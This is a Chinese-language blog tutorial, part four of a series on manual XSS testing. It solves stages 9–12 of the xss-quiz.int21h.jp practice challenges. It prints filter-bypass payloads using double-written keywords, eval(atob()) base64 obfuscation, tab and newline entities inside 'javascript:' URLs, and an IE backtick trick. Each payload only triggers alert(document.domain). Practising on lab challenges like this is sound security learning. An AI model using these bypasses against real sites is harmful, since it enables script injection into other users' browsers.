XSS漏洞-手动挖掘(四)

2022年8月15日16:28:26 发表评论 185 views

1.1 Stage 9 UTF-7编码注入XSS

http://xss-quiz.int21h.jp/stage_09.php?sid=e65bbb1a82573cd9e16ad710a7d7a259226deecf

因为现在都使用UTF-8编码且没有ie7的环境而且当前漏洞在实际场景中几乎没有利用价值,我们下面跳过该关卡:

在id字段后添加事件: onclick= "alert(document.domain)"

XSS漏洞-手动挖掘(四)

点击hint的提示信息就会弹出域名,从而跳过该关卡。

1.2 Stage 10 绕过关键字domain注入XSS

http://xss-quiz.int21h.jp/stage00010.php?sid=a2b30459133383d75b93e0b2b6da09f1af726f04

1.2.1 页面分析

XSS漏洞-手动挖掘(四)

1.2.1.1 分析过程

  1. 提示信息:关键字domain被替换为空

1.2.1.2 尝试注入

可以发现关键字domain被替换为了空:

XSS漏洞-手动挖掘(四)

1.2.2 双写绕过注入测试

1.2.2.1 构建payload

我们根据前面学习SQL注入的绕过技巧,使用双写绕过尝试进行注入:

"><script>alert(document.dodomainmain)</script>

1.2.2.2 执行payload

XSS漏洞-手动挖掘(四)

1.2.3 编码绕过注入测试

1.2.3.1 使用burpsuite对payload进行base64编码

XSS漏洞-手动挖掘(四)

编码后payload:

"><script>YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==</script>

1.2.3.2 构建payload

这里页面中是不会对我们加密的字符串进行解密的,所以直接使用加密后的代码是不能够被执行的,我们需要使用解密函数对字符串进行解密再进行执行。

"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>

【payload解析】:

  • atob():将base64加密后的字符串进行解密还原为alert(document.domain);
  • eval():可计算某个字符串,并执行其中的的JavaScript 代码;

1.2.3.3 执行payload

XSS漏洞-手动挖掘(四)

1.3 Stage 11 绕过script和on关键字过滤注入XSS

http://xss-quiz.int21h.jp/stage11th.php?sid=92cf8e08ff2953b4323487859fbdc88d9c15bf85

1.3.1 搭建本地关卡

公网此关已经无法访问,所以自建此关进行测试:

1.3.1.1 上传文件到/var/www/html

[[email protected] html]# pwd
/var/www/html
[[email protected] html]# ls
stage11th.php  style.css

1.3.1.2 启动apache

[[email protected] ~]# systemctl start httpd

1.3.2 页面分析

XSS漏洞-手动挖掘(四)

1.3.2.1 分析过程

  1. 提示信息:将script替换为xscript;将on[a-z]+=替换为onxxx=;将style=替换为stxxx=;

s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;

script:主要过滤我们直接插入的JavaScript代码

on:可以过滤掉事件

1.3.2.2 尝试普通注入

直接使用"><script>alert(document.domain)</script>进行注入尝试,我们看到script被过滤成了xscript:

XSS漏洞-手动挖掘(四)

1.3.2.3 尝试使用javascript注入

"><a href="javascript:alert(document.domain);">xss</a>

发现javajcript也会被过滤成javaxscript:

XSS漏洞-手动挖掘(四)

1.3.2.4 尝试添加空格绕过过滤

"><a href="javas   cript:alert(document.domain);">xss</a>

XSS漏洞-手动挖掘(四)

查看代码script未被替换,但是结果却失败:

XSS漏洞-手动挖掘(四)

我们可以看到我们的超链接请求在内部是不存在的,我们可以看到URL中传递的参数javas%20%20 cript:alert(document.domain); 发现空格经过URL编码之后并没有被忽略掉而执行整条JavaScript代码。

1.3.2.5 尝试宽字符和编码绕过过滤

"><a href="javas%0acript:alert(document.domain);">xss</a>
"><a href="javas&#0acript:alert(document.domain);">xss</a>

经测试%0a和%0d这样的空格符会被转换成原本的字符,而宽字符也会被自动转码为原始字符到代码中被执行:

XSS漏洞-手动挖掘(四)

1.3.3 宽字符注入测试

1.3.3.1 生成tab的URL编码

根据上面的测试确定只要将我们添加的符号定义为浏览器可以忽略的符号代码即可正常执行,我们来测试一个能够被浏览器忽略的字符tab符号:

XSS漏洞-手动挖掘(四)

1.3.3.2 构造payload

%09的URL编码实体编码是&#09

"><a href="javas&#09cript:alert(document.domain);">xss</a>

1.3.3.3 执行payload

XSS漏洞-手动挖掘(四)

1.4 Stage 12 利用IE特性绕过防护注入XSS

https://xss-quiz.int21h.jp/stage_no012.php?sid=7df92a1a89835f9f2d9dd1c139eb992898db994c

1.4.1 页面分析

XSS漏洞-手动挖掘(四)

1.4.1.1 分析过程

  1. 提示信息:将x00-,x20,<,>,",' 符号都过滤为空

1.4.1.2 尝试注入

"><script>alert(document.domain)</script>

我们可以看到所有的引号和尖括号都被过滤掉了,所以我们前面使用的方法对当前关卡是都没有作用的。

XSS漏洞-手动挖掘(四)

1.4.2 IE特性注入测试

我们使用IE浏览器的特性来进行XSS注入。

IE浏览器特性:IE中两个反引号``可以闭合一个左边双引号。

1.4.2.1 构建payload

因为事件只使用到了双引号,并没有使用<>尖括号,所以此处使用事件来构造payload:

`` onmousemove=alert(document.domain)

1.4.2.2 执行payload

XSS漏洞-手动挖掘(四)

weinxin
我的微信
如果有技术上的问题可以扫一扫我的微信
版权声明
1. 本网站名称:Leon的博客
2. 本站永久网址:https://blog.leonshadow.cn
3. 本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ632113590进行删除处理。
4. 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5. 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
6. 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
liyang